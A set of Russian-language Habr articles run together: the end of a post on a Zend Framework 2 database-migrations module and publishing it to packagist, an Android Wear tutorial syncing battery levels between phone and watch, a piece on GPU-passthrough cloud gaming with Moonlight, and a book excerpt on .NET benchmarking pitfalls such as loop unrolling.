//проверяем что миграция действительно выполнена
$this->assertTrue(in_array('test_migrations', $this->metadata->getTableNames()), 'Migration real executed!');
//тест запуска выполненной миграции и она является текущей версией
$this->initController();
$this->routeMatch->setParam('action', 'migrate');
$this->routeMatch->setParam('version', 20121110210200);
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertContains("Migration version 20121110210200 is current version!\n", $result->getVariable('result'), 'Starting the migration with a current version works correctly!');
}
/**
* Тест запуска миграций с указанием версии
*/
public function testMigrateWithVersion() {
copy($this->folderMigrationFixtures . '/MigrationsGroup2/Version20121111150900.php',
$this->folderMigrationFixtures . '/tmp/Version20121111150900.php');
copy($this->folderMigrationFixtures . '/MigrationsGroup2/Version20121111153700.php',
$this->folderMigrationFixtures . '/tmp/Version20121111153700.php');
$this->routeMatch->setParam('action', 'migrate');
$this->routeMatch->setParam('version', 20121111150900);
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertTrue(in_array('test_migrations', $this->metadata->getTableNames()), 'Migration 20121111150900 execucte ok!');
$this->assertFalse(in_array('test_migrations2', $this->metadata->getTableNames()), 'Migration 20121111153700 not execucte ok!');
}
/**
* Тест генерации заглушки для миграций
*/
public function testGenerateMigrationClass() {
$this->routeMatch->setParam('action', 'generateMigrationClass');
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertInstanceOf('Zend\View\Model\ViewModel', $result, 'Method return object Zend\View\Model\ViewModel!');
$this->assertContains("Generated class ",
$result->getVariable('result'), 'Return result info ok!');
$fileName = sprintf('Version%s.php', date('YmdHis', time()));
$this->assertFileExists($this->folderMigrationFixtures . '/tmp/' . $fileName, 'Generate command real generated class!');
}
}
```
Подробнее о структуре тестов можно почитать здесь
[framework.zend.com/manual/2.0/en/user-guide/unit-testing.html](http://framework.zend.com/manual/2.0/en/user-guide/unit-testing.html)
Тут есть нюанс, в зенд 2 не поддерживается работа с окружениями, поэтому нужно придумывать свой велосипед для работы с тестовой базой.
#### **Composer.json и добавление модуля на packagist.org**
Теперь нам осталось описать модуль в композер json и опубликовать его.
Создаем в корне модуля файл composer.json со следующей информацией
```
{
"name": "knyzev/zend-db-migrations",
"description": "Module for managment database migrations.",
"type": "library",
"license": "BSD-3-Clause",
"keywords": [
"database",
"db",
"migrations",
"zf2"
],
"homepage": "https://github.com/vadim-knyzev/ZendDbMigrations",
"authors": [
{
"name": "Vadim Knyzev",
"email": "vadim.knyzev@gmail.com",
"homepage": "http://vadim-knyzev.blogspot.com/"
}
],
"require": {
"php": ">=5.3.3",
"zendframework/zendframework": "2.*"
},
"autoload": {
"psr-0": {
"ZendDbMigrations": "src/"
},
"classmap": [
"./Module.php"
]
}
}
```
name — название модуля, оно же буде соответствовать названия папки модуля.
require — зависимости
Остальное можно скопировать и описать по подобию.
Далее регистрируем аккаунт на [github.com](https://github.com), выбираем публичный репозиторий, вводим имя вида MyZendModule
На локальном компьютере инициируем гит репозиторий, и отправляем все на гитхаб
git init
git remote add origin [github.com/knyzev/zend-db-migrations](https://github.com/knyzev/zend-db-migrations)
git add -A
git commit -m «Init commit»
git push
На сайте [packagist.org](http://packagist.org/) регистрируемся, выбираем submit package и добавляем ссылку на github, он автоматически проверит корректность composer.json и сообщит о проблемах если они есть.
Всё, теперь в новом проекте или кто-либо другой сможет в основном файле composer.json
просто добавить зависимость, например knyzev/zend-db-migrations
выполнить команды
php composer.phar self-update
php composer.phar update
И модуль будет автоматически установлен, останется только прописать его в config/application.config.php
#### **Сравнение Symfony 2 + Doctrine 2 и Zend 2**
Мне очень нравится Symfony 2 и Doctrine 2-й версии и после работы с аннотациями, полной поддержкой консоли (консольные команды на все случаи) и довольно удобным объявлением сервисов, ORM системой Doctrine, zend выглядит довольно мрачно и не уютно, ну это лично субъективное мнение, хотя возможно и работает местами быстрее и потребляет меньше памяти. Такое впечатление формируется в основном из-за недоделанности в сторону быстрого старта, т.е. все нужно конфигурировать и доделывать самому.
После того как немного поработал с Symfony стал подумывать о возможности перехода на Java Spring + Hibernate.
Сам модуль миграций описанный в этой статье можно посмотреть здесь
[github.com/vadim-knyzev/ZendDbMigrations](https://github.com/vadim-knyzev/ZendDbMigrations)
Тесты не включены в модуль, т.к. по стандартам типовой структуры модуля zend 2, тесты размещаются в отдельной папке.
PS: Кто нибудь знает как добавить модуль на страницу информации о модулях на сайте зенда [modules.zendframework.com](http://modules.zendframework.com/)?
[framework.zend.com/manual/2.0/en/index.html](http://framework.zend.com/manual/2.0/en/index.html)
[github.com/vadim-knyzev/ZendDbMigrations](https://github.com/vadim-knyzev/ZendDbMigrations)
[vadim-knyzev.blogspot.com](http://vadim-knyzev.blogspot.com) | https://habr.com/ru/post/159155/ | null | ru | null |
# Опыт разработки под Android Wear
Спешу поделиться с коллегами накопленным опытом при разработке для Android Wear.
Все важные моменты проще всего показать на примере приложения, которое показывает уровень заряда батареи на часах и смартфоне.
Загрузим Android Studio.
Создадим новый проект:
Выбираем оба устройства:
Далее все стандартно:
В итоге получим хорошую заготовку для обоих устройств, с пустыми активностями:
**ListenerService** сам не появится, ниже расскажу как его добавить.
Чтобы связать наши устройства, был придуман хитрый [слой](https://developer.android.com/intl/ru/training/wearables/data-layer/accessing.html). Приложения могут обмениваться сообщениями через этот слой. Отправка сообщений должна проходить в отдельном потоке. Очень подробно реализация этой задачи описана [здесь](http://android-wear-docs.readthedocs.org/en/latest/data.html).
Вы должны подключиться к GoogleApiClient, потом отправить в отдельном потоке сообщение. В примерах это описано подробно, но я решил вынести всю работу с сообщениями в отдельный сервис и получилось довольно компактно.
Вот наш **ListenerService**, он одинаков для обоих частей проекта.
```
package com.rusdelphi.batterywatcher;
import android.content.Intent;
import android.content.SharedPreferences;
import android.support.v4.content.LocalBroadcastManager;
import android.util.Log;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.wearable.MessageApi;
import com.google.android.gms.wearable.MessageEvent;
import com.google.android.gms.wearable.Node;
import com.google.android.gms.wearable.NodeApi;
import com.google.android.gms.wearable.Wearable;
import com.google.android.gms.wearable.WearableListenerService;
import java.util.concurrent.TimeUnit;
/**
* Created by User on 04.01.2015.
*/
public class ListenerService extends WearableListenerService {
private SharedPreferences prefs;
private boolean mIsAlarmOn;
GoogleApiClient googleClient;
public static final String ACTION_SM = "com.rusdelphi.batterywatcher.action.SM";
public static final String ACTION_SM_PARAM = "com.rusdelphi.batterywatcher.action.SM.PARAM";
private static final String WEAR_MESSAGE_PATH = "batterywatcher_message_path";
public ListenerService() {
}
@Override
public void onCreate() {
super.onCreate();
googleClient = new GoogleApiClient.Builder(this)
.addApi(Wearable.API)
.build();
googleClient.connect();
}
@Override
public void onDestroy() {
if (null != googleClient && googleClient.isConnected()) {
googleClient.disconnect();
}
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (intent != null) {
final String action = intent.getAction();
if (ACTION_SM.equals(action)) {
final String param1 = intent.getStringExtra(ACTION_SM_PARAM);
if (googleClient.isConnected()) {
new Thread(new Runnable() {
@Override
public void run() {
NodeApi.GetConnectedNodesResult nodes = Wearable.NodeApi.getConnectedNodes(googleClient).await();
for (Node node : nodes.getNodes()) {
MessageApi.SendMessageResult result = Wearable.MessageApi.sendMessage(googleClient, node.getId(), WEAR_MESSAGE_PATH, param1.getBytes()).await();
if (result.getStatus().isSuccess()) {
Log.d("main", "Message: {" + param1 + "} sent to: " + node.getDisplayName());
} else {
// Log an error
Log.d("main", "ERROR: failed to send Message");
}
}
}
}).start();
}
if (!googleClient.isConnected()) new Thread(new Runnable() {
@Override
public void run() {
ConnectionResult connectionResult = googleClient.blockingConnect(30, TimeUnit.SECONDS);
NodeApi.GetConnectedNodesResult nodes = Wearable.NodeApi.getConnectedNodes(googleClient).await();
for (Node node : nodes.getNodes()) {
MessageApi.SendMessageResult result = Wearable.MessageApi.sendMessage(googleClient, node.getId(), WEAR_MESSAGE_PATH, param1.getBytes()).await();
if (result.getStatus().isSuccess()) {
Log.d("main", "Message: {" + param1 + "} sent to: " + node.getDisplayName());
} else {
// Log an error
Log.d("main", "ERROR: failed to send Message");
}
}
}
}).start();
}
}
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onMessageReceived(MessageEvent messageEvent) {
if (messageEvent.getPath().equals(WEAR_MESSAGE_PATH)) {
final String message = new String(messageEvent.getData());
Intent messageIntent = new Intent();
messageIntent.setAction(Intent.ACTION_SEND);
messageIntent.putExtra("message", message);
LocalBroadcastManager.getInstance(this).sendBroadcast(messageIntent);
} else {
super.onMessageReceived(messageEvent);
}
}
}
```
В оба манифеста нужно его добавить:
```
```
Во время создания сервиса, мы собираем GoogleApiClient и подключаемся к слою данных.
Событие **onMessageReceived** вызывается при получении сообщения. У полученного события (MessageEvent) мы смотрим папку назначения (getPath()). Если это наша папка, получаем данные (messageEvent.getData()). Далее эти данные можно сохранить в настройки, базу данных. В общем, использовать как будет нужно. А мы с помощью LocalBroadcastManager отправим их в нашу основную программу (MainActivity). Но для этого локальный приёмник в ней нужно зарегистрировать. Мы это будем делать при старте, а разрегистрировать будем при выходе.
Для отправки сообщения другому устройству мы будем запускать сервис с нужными данными.
В сервисе может быть уже подключен GoogleApiClient, а может и не быть. Если он ещё не подключен, то нужно запустить blockingConnect, иными словами заставить его подключиться напрямую, блокируя соединение. Делать все это нужно в отдельном потоке, т.к. работает это все асинхронно.
Вот код MainActivity для мобильного устройства:
```
package com.rusdelphi.batterywatcher;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.BatteryManager;
import android.os.Bundle;
import android.support.v4.content.LocalBroadcastManager;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.TextView;
public class MainActivity extends Activity {
public static String mWatchLevel = "?", mSmartphoneLevel = "?";
private TextView mWatch;
private TextView mSmartphone;
MessageReceiver messageReceiver = new MessageReceiver();
private BroadcastReceiver mBatteryLevelReceiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mWatch = (TextView) findViewById(R.id.tv_watch);
mSmartphone = (TextView) findViewById(R.id.tv_smartphone);
IntentFilter batteryLevelFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
mBatteryLevelReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent i) {
int level = i.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
int scale = i.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
mSmartphoneLevel = new java.text.DecimalFormat("0.0")
.format((((float) level / (float) scale) * 100.0f)) + "%";
sendMessage(MainActivity.this, mSmartphoneLevel);
updateUI();
}
};
registerReceiver(mBatteryLevelReceiver, batteryLevelFilter);
IntentFilter messageFilter = new IntentFilter(Intent.ACTION_SEND);
LocalBroadcastManager.getInstance(this).registerReceiver(messageReceiver, messageFilter);
}
public static void sendMessage(Context context, String param1) {
Intent intent = new Intent(context, ListenerService.class);
intent.setAction(ListenerService.ACTION_SM);
intent.putExtra(ListenerService.ACTION_SM_PARAM, param1);
context.startService(intent);
}
public void updateUI() {
mWatch.setText(mWatchLevel);
mSmartphone.setText(mSmartphoneLevel);
}
@Override
protected void onResume() {
super.onResume();
updateUI();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
protected void onDestroy() {
LocalBroadcastManager.getInstance(this).unregisterReceiver(messageReceiver);
if (mBatteryLevelReceiver!=null) {
unregisterReceiver(mBatteryLevelReceiver);
mBatteryLevelReceiver=null;
}
super.onDestroy();
}
public class MessageReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String message = intent.getStringExtra("message");
mWatchLevel = message;
updateUI();
}
}
}
```
Тут мы при старте создаем приемник, получающий сообщения о батареи устройства. Как только получили сообщение (onReceive), отправляем его сообщением в слой данных (sendMessage) и обновляем значения переменных (updateUI). Далее регистрируем локальный приемник (MessageReceiver), он при приеме также обновит экран приложения (updateUI).
Вот код MainActivity для wear-устройства, т.е. для часов:
```
package com.rusdelphi.batterywatcher;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.BatteryManager;
import android.os.Bundle;
import android.support.v4.content.LocalBroadcastManager;
import android.support.wearable.view.WatchViewStub;
import android.widget.TextView;
public class MainActivity extends Activity {
public static String mWatchLevel = "?", mSmartphoneLevel = "?";
private TextView mWatch;
private TextView mSmartphone;
MessageReceiver messageReceiver = new MessageReceiver();
private BroadcastReceiver mBatteryLevelReceiver;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final WatchViewStub stub = (WatchViewStub) findViewById(R.id.watch_view_stub);
stub.setOnLayoutInflatedListener(new WatchViewStub.OnLayoutInflatedListener() {
@Override
public void onLayoutInflated(WatchViewStub stub) {
mWatch = (TextView) stub.findViewById(R.id.tv_watch);
mSmartphone = (TextView) stub.findViewById(R.id.tv_smartphone);
updateUI();
}
});
IntentFilter batteryLevelFilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
mBatteryLevelReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent i) {
int level = i.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
int scale = i.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
mWatchLevel = new java.text.DecimalFormat("0.0")
.format((((float) level / (float) scale) * 100.0f)) + "%";
sendMessage(MainActivity.this, mWatchLevel);
updateUI();
}
};
registerReceiver(mBatteryLevelReceiver, batteryLevelFilter);
IntentFilter messageFilter = new IntentFilter(Intent.ACTION_SEND);
LocalBroadcastManager.getInstance(this).registerReceiver(messageReceiver, messageFilter);
}
public void updateUI() {
if (mWatch != null)
mWatch.setText(mWatchLevel);
if (mSmartphone != null)
mSmartphone.setText(mSmartphoneLevel);
}
public static void sendMessage(Context context, String param1) {
Intent intent = new Intent(context, ListenerService.class);
intent.setAction(ListenerService.ACTION_SM);
intent.putExtra(ListenerService.ACTION_SM_PARAM, param1);
context.startService(intent);
}
@Override
protected void onDestroy() {
LocalBroadcastManager.getInstance(this).unregisterReceiver(messageReceiver);
if (mBatteryLevelReceiver != null) {
unregisterReceiver(mBatteryLevelReceiver);
mBatteryLevelReceiver = null;
}
super.onDestroy();
}
public class MessageReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String message = intent.getStringExtra("message");
mSmartphoneLevel = message;
updateUI();
}
}
}
```
Он, в принципе, похож на старшего брата, но есть отличия в постройке разметки, т.к. устройства могут быть с квадратными и круглыми экранами. Компонент WatchViewStub дает нам возможность упростить выбор разметки, для этого нужно просто спроектировать 2 файла rect\_activity\_main.xml и round\_activity\_main.xml.
Вот код первого:
```
xml version="1.0" encoding="utf-8"?
```
Вот второго:
```
xml version="1.0" encoding="utf-8"?
```
Здесь при создании разметки мы получаем два компонента TextView и обновляем их содержание (updateUI). Остальной код работает так же как и в мобильной версии. Запускаем приложение, получаем текущий уровень батареи, отправляем его соседнему устройству и слушаем его сообщения. Как что-то изменилось -> обновляем показания.
При публикации приложения в гугл маркете у обоих модулей должен быть одинакова версия (versionCode) кода и одинаковое имя пакета. По умолчанию Android Studio эту работу за нас сделает. Когда соберем apk файл для мобильного устройства, внутри него будет находиться apk для wear. Эту работу можно сделать и в [Eclipse](https://medium.com/@tangtungai/how-to-develop-and-package-android-wear-app-using-eclipse-ef1b34126a5d). В общем, кому как проще. При установке приложения из маркета на мобильное устройство придет толстый apk, который сам установит apk для wear устройства.
Скриншоты с устройств:
 | https://habr.com/ru/post/248479/ | null | ru | null |
# Апгрейд системы для облачного гейминга: теперь с Nvidia и Moonlight
[](https://habr.com/ru/company/ruvds/blog/585986/)
Третья, заключительная часть серии, посвященной пробросу видеокарт в виртуальную машину и организации облачной игровой системы для удаленного подключения по локальной сети с различных устройств.
Если вы читали мою [предыдущую статью](https://habr.com/ru/company/ruvds/blog/584910/) на эту тему, то знаете, что у меня уже налажена весьма деликатная конфигурация для «облачного» гейминга. Состоит она из одного мощного настольного ПК, одной виртуальной машины с проброшенной GPU и клиентских машин, которые можно использовать для стриминга игр. Из соображений простоты (и низкой скорости интернета) я делал стриминг только по локальной сети.
И все же в этой конфигурации есть слабые места:
* Медленный энкодер видеокарты AMD. Достойную производительность мне удалось получить только при разрешении потокового видео 720p.
* VM Windows 10 иногда не могла запустить энкодер хоста, и драйверы видеокарты выдавали ошибки. Это исправлялось парой перезагрузок VM, и, как мне кажется, было связано с известной проблемой перезапуска (reset bug), которой в мире VFIO славятся карточки AMD – разбираться конкретнее мне не захотелось.
* Иногда потоковая передача либо обрывалась, либо тормозила. Это может быть вызвано картой AMD или самим [Parsec](https://parsec.app/).
Я много читал по этой теме и выяснил, что в большинстве случаев для получения оптимального игрового опыта рекомендуют использовать связку Nvidia GPU и Moonlight. Так что, было решено найти подходящую карту.
Видеокарта
----------
На дворе 2021. Мир сходит с ума, и цены на видеокарты просто нереальные. В связи с этим я поумерил свой аппетит и склонился к простому варианту: GTX 1060 6G от MSI. Эта карта скромна, относительно современна для интересующих меня игр и обошлась примерно в ту же цену, сколько стоила новая 5 лет назад, то есть 260 евро. На лучшее в это коварное время рассчитывать не приходится.
Но, тем не менее, она работает! Проведенное в [первом проекте](https://habr.com/ru/company/ruvds/blog/583784/) тестирование показало, что Nvidia отключили в драйверах намеренный выброс ошибки `error code 43`, что и сделало этот вариант возможным. Сама замена видеокарты проблем не вызвала. Нужно было лишь исправить ID PCI-устройств и через `virt-manager` изменить закрепленные за VM Windows устройства, все.
Parsec: AMD vs NVIDIA
---------------------
Поскольку конфигурация для стриминга с помощью Parsec уже была настроена, я решил провести небольшой тест, чтобы понять разницу между этими двумя карточками.
Предыдущая – это AMD Radeon RX570 4Gb от Sapphire. Эти две карты находятся в одном классе производительности, что весьма удачно для сравнения.
Вот некоторые результаты из двух кратких сессий тестирования в Dirt Rally. Прошу сделать на них скидку, так как проводились они без соблюдения каких-либо стандартов. Я просто выбрал одинаковые настройки графики и поиграл с запущенным окном статистики Parsec.
> H.264
>
> AMD RX 570: 10мс
>
> NVIDIA GTX 1060: 3мс
> H.265
>
> AMD RX 570: 8мс
>
> NVIDIA GTX 1060: 3мс
Разница в скорости кодирования просто огромна, особенно с учетом того, что время между двух кадров составляет 16.6мс при потоке 60fps. Часть задержки относится к передаче по сети и декодированию на клиенте, то есть, чем меньше время кодирования, тем лучше.
Parsec показал себя хорошо, но при этом возникли проблемы с выполнением GPU-декодирования на клиентах Linux. К тому же, в нем отсутствует клиент для iOS. И если последнюю проблему можно проигнорировать, то первую определенно нет.
Moonlight: опенсор-сокровище
----------------------------
[Moonlight](https://moonlight-stream.org/) является альтернативой Parsec. В нем реализован протокол Nvidia GameStream и присутствуют клиенты для большинства популярных платформ. Тестирование я проводил на клиентах Linux (Fedora 34), ноутбуке с Windows 10 (ThinkPad X230), iPhone SE 2020 и старом Google Nexus 5. Я даже попытался запустить клиента Moonlight на Raspberry Pi 1 B+, но, по всей видимости, он для него староват, что привело к ошибке при запуске.
*GTA V на Google Nexus 5? Куда реальнее, чем можно подумать*
Для настройки Moonlight я открыл клиента и попробовал выполнить автоматическое обнаружение по сети – к сожалению, безуспешно. Так что пришлось ввести IP-адрес VM Windows вручную. Сработало. Инициировался процесс сопряжения, который нужно было продолжить с помощью Parsec, так как необходимо ввести код на машине хоста. После из Parsec я вышел и потоковую передачу начал уже через Moonlight.
Хотя не прям сразу. Moonlight может обнаруживать установленные в систему игры, но для получения такого же опыта удаленной работы с десктопом, какой обеспечивает Parsec, нужно [проделать небольшой твик](https://github.com/moonlight-stream/moonlight-docs/wiki/Setup-Guide#using-moonlight-to-stream-your-entire-desktop).
В самом начале я заметил, что качество изображения на десктопе хуже, чем в случае с Parsec. Однако в ходе игры это с лихвой компенсируется. Moonlight просто работает. При этом есть очень много опций, включая изменение качества изображения путем настройки разрешения, частоты кадров и ограничения скорости сети.
Лично для меня Moonlight подходит больше, поскольку [клиент Linux, упакованный как Flatpak](https://flathub.org/apps/details/com.moonlight_stream.Moonlight), может выполнять аппаратное декодирование через видеокарту. Играется на машине с Linux просто отлично, что нельзя назвать стандартным случаем. Даже старенький контроллер Xbox One при подключении по Bluetooth через Moonlight работает прекрасно.
Вообще, при использовании Moonlight единственная проблема была связана с сетью. Это хорошо заметно в поле `Network jitter` встроенной статистики, которую можно вызвать комбинацией `Ctrl + Alt + Shift + S`. После отключения нескольких сетевых служб эта проблема исчезла.
Конфигурация: месяц спустя
--------------------------
По итогам месяца использования я внес в конфигурацию некоторые изменения. Виртуальная машина у меня была запущена постоянно, и я в любой момент мог просто переключиться на нее, чтобы поиграть. Однако в связи с твиком, который я применил для повышения игровой производительности, половина ядер процессора оказались недоступны для других задач, например для повторного индексирования проекта в IntelliJ.
В итоге я решил включать VM, только если реально соберусь поиграть, хотя пока оптимального способа делать это еще не нашел. Я даже назначал запуск/остановку VM на клавишу калькулятора, но потом GNOME начала игнорировать эту привязку и все равно открывать калькулятор, так что проработал этот прием недолго.
Более же серьезным изменением стало сохранение всех игр в пуле ZFS, находящемся в другой VM. Для этого я настроил цель ISCSI, взяв за основу [это руководство](https://forum.level1techs.com/t/run-your-steam-library-from-a-nas-break-a-leg-challenge-update/107912). При этом я использовал пакет `[tgt](https://packages.debian.org/bullseye/tgt)`. Все сработало на удивление хорошо, но цель ISCSI не хочет корректно подключаться в виртуальной машине Windows при первой загрузке, что несколько раздражает.
Позже я понял, что слабым местом являются HDD, и просто расширил SSD-хранилище. В противном случае другие процессы NAS могли нарушать игровой процесс в требовательных играх типа GTA V. Проявлялись проблемы в виде длительной загрузки и прорисовки объектов с запозданием – то есть при разъездах по карте буквально отсутствовала половина дорог и зданий.
Решение с ISCSI также дополнительно обеспечивает бэкап всех игр. Если Windows вдруг в очередной раз решит покончить с собой, и у меня не будет готов бэкап VM, то я просто ее переустановлю, не беспокоясь о скачивании и повторной установке всех игр.
Вердикт
-------
В целом этой конфигурацией я очень доволен. Пользуюсь я ей не очень часто, но все равно круто иногда запустить Art of Rally или BeamNG.drive на любом из своих устройств.
В перспективе здесь, конечно, есть над чем задуматься, особенно касательно более высоких системных требований Windows 11 и современных игр. Сейчас же все работает отлично, и пока я ничего менять не собираюсь.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=apgrejd_sistemy_dlya_oblachnogo_gejminga:_teper_s_nvidia_i_moonlight) | https://habr.com/ru/post/585986/ | null | ru | null |
# Подводные камни бенчмаркинга в .NET: фрагмент книги Андрея Акиньшина
**Андрей Акиньшин** [@DreamWalker](https://t.me/DreamWalker) хорошо известен в .NET-сообществе: он мейнтейнер BenchmarkDotNet и perfolizer, член программного комитета нашей конференции [DotNext](https://dotnext.ru/?utm_source=habr&utm_medium=599927), автор книги Pro .NET Benchmarking о том, как правильно бенчмаркать.
А теперь эта книга есть и [на русском языке](https://www.piter.com/collection/soon/product/professionalnyy-benchmark-iskusstvo-izmereniya-proizvoditelnosti) — ее перевод подготовило издательство «Питер». Сделаем важную оговорку: переводил не сам Андрей, так что русскоязычная терминология может отличаться от той, которую выбрал бы он, и «каноническим авторским вариантом» по-прежнему остаётся англоязычный. Но наверняка для многих важна сама возможность прочитать это на родном языке, поэтому с любезного разрешения Андрея и издательства мы публикуем на Хабре фрагмент перевода.
В книге много сказано о бенчмаркинге в целом, поэтому она может быть полезна для самых разных разработчиков, но мы приведём фрагмент о том, что специфично для .NET.
---
Подводные камни, специфичные для .NET
-------------------------------------
.NET — прекрасная платформа. У любой среды исполнения .NET есть множество прекрасных оптимизаций, ускоряющих ваши приложения. Если вы хотите написать очень быструю программу, эти оптимизации — ваши лучшие друзья. Если же вы хотите написать надежный бенчмарк, то они — ваши заклятые враги. Среда исполнения .NET не понимает, что вы хотите измерить производительность, — она пытается выполнять программу как можно быстрее.
В следующих разделах мы узнаем о различных оптимизациях среды исполнения, которые могут испортить измерения. Начнем с проблемы, которая влияет на циклы в бенчмарках.
### Развертывание циклов
Мы уже знаем, что очень быстрые методы следует заворачивать в циклы, чтобы корректно измерить время их работы. Известно ли вам, что происходит с подобными циклами во время компиляции?
Рассмотрим следующий простой цикл:
```
for (int i = 0; i < 10000; i++)
Foo();
```
Если мы скомпилируем и запустим его в режиме релиза и посмотрим на полученный ассемблерный код для LegacyJIT-x86, получится примерно так:
```
LOOP:
call dword ptr ds:[5B0884h] ; Foo(); inc esi ; i++
cmp esi,2710h ; if (i < 10000)
jl LOOP ; Go to LOOP
```
Этот код выглядит довольно очевидным. Теперь посмотрим на код сборки для LegacyJIT-x64:
```
LOOP:
call 00007FFC39DB0FA8 ; Foo();
call 00007FFC39DB0FA8 ; Foo();
call 00007FFC39DB0FA8 ; Foo();
call 00007FFC39DB0FA8 ; Foo();
add ebx,4 ; i += 4
cmp ebx,2710h ; if (i < 10000)
jl 00007FFC39DB4787 ; Go to LOOP
```
Что здесь произошло? Наш цикл развернули! LegacyJIT-x64 выполнил развертывание цикла, и теперь код выглядит следующим образом:
```
for (int i = 0; i < 10000; i += 4)
{
Foo();
Foo();
Foo();
Foo();
}
```
О разных сложных оптимизациях JIT подробнее рассказывается в главе 7. Сейчас же вам нужно знать, что контролировать то, какие циклы будут развернуты, невозможно. В .NET Framework 4.6, LegacyJIT-x86 и RyuJIT-x64 не умеют применять такую оптимизацию. Таким навыком обладает только LegacyJIT-x64. Но он может развернуть цикл, только если количество итераций известно заранее и делится на 2, 3 или 4 (LegacyJIT-x64 старается выбрать максимальный делитель). Однако использовать специальные знания об оптимизации компилятора JIT — не самая удачная идея: все может измениться в любой момент. Оптимальное решение — хранить количество итераций в дополнительном поле, чтобы компилятор JIT не мог применить оптимизацию.
Действительно ли об этом нужно беспокоиться? Давайте проверим!
#### Плохой бенчмарк
Допустим, мы хотим узнать, сколько времени нужно, чтобы выполнить пустой цикл с 1 000 000 001 и 1 000 000 002 итерациями. Это очередной абсолютно бессмысленный эксперимент, но в то же время это минимальный вариант воспроизведения обсуждаемой нами проблемы (почему-то многие разработчики любят измерять пустые циклы):
```
var stopwatch1 = Stopwatch.StartNew();
for (int i = 0; i < 1000000001; i++)
{
}
stopwatch1.Stop();
var stopwatch2 = Stopwatch.StartNew();
for (int i = 0; i < 1000000002; i++)
{
}
stopwatch2.Stop()
Console.WriteLine(stopwatch1.ElapsedMilliseconds + " vs. " +
stopwatch2.ElapsedMilliseconds);
```
Пример приблизительных результатов для LegacyJIT-x86 и LegacyJIT-x64 приведен в табл. 2.3.
**Таблица 2.3.** Результаты для пустых циклов с константами
| | | |
| --- | --- | --- |
| **Количество итераций** | **LegacyJIT-x86** | **LegacyJIT-x64** |
| 1 000 000 001 | ~ 360 мс | ~ 360 мс |
| 1 000 000 002 | ~ 360 мс | **~ 120 мс** |
Как такое возможно? Интереснее всего именно то, почему на LegacyJIT-x64 1 000 000 002 итерации производятся в три раза быстрее, чем 1 000 000 001.
Все дело в развертывании: 1 000 000 001 не делится на 2, 3 и 4, поэтому в данном случае LegacyJIT-x64 не может произвести развертывание. Но второй цикл с 1 000 000 002 итерациями развернуть возможно, потому что это число делится на 3! Оно делится и на 2, но компилятор JIT выбирает максимальный делитель для развертывания цикла. Взглянем на исходный код на ассемблере для обоих циклов:
```
; 1000000001 iterations
LOOP:
inc eax ; i++
cmp eax,3B9ACA01h ; if (i < 1000000001)
jl LOOP ; Go to LOOP
; 1000000002 iterations
LOOP:
add eax,3 ; i += 3
cmp eax,3B9ACA02h ; if (i < 1000000002)
jl LOOP ; Go to LOOP
```
Во втором случае мы видим инструкцию add eax,3, увеличивающую счетчик на 3: это развертывания цикла в действии! Теперь становится очевидно, почему второй цикл работает в три раза быстрее.
#### Бенчмарк получше
Мы можем перехитрить JIT и хранить количество итераций в отдельных полях. Будьте внимательны, это должны быть именно поля, а не константы!
```
private int N1 = 1000000001, N2 = 1000000002;
public void Measure()
{
var stopwatch1 = Stopwatch.StartNew();
for (int i = 0; i < N1; i++)
{
}
stopwatch1.Stop();
var stopwatch2 = Stopwatch.StartNew();
for (int i = 0; i < N2; i++)
{
}
stopwatch2.Stop();
}
```
В этом случае JIT-компилятор не сможет применить развертывание цикла, ведь ему неизвестно количество итераций. Кроме того, эти значения могут быть изменены кем-то в другом потоке, так что проводить подобную оптимизацию слишком рискованно. Теперь у нас одинаковые результаты для всех конфигураций (табл. 2.4).
**Таблица 2.4.** Результаты для пустых циклов с переменными
| | | |
| --- | --- | --- |
| **Количество итераций** | **LegacyJIT-x86** | **LegacyJIT-x64** |
| 1 000 000 001 | ~ 360 мс | ~ 360 мс |
| 1 000 000 002 | ~ 360 мс | ~ 360 мс |
Да, конфигурация LegacyJIT-x64/1000000002 не такая быстрая, как в первом случае. Но теперь это честное сравнение: здесь мы не стремимся к максимальной производительности, а пытаемся сравнить производительность двух фрагментов кода.
> **СОВЕТ**
>
> Используйте в циклах переменные вместо констант.
>
>
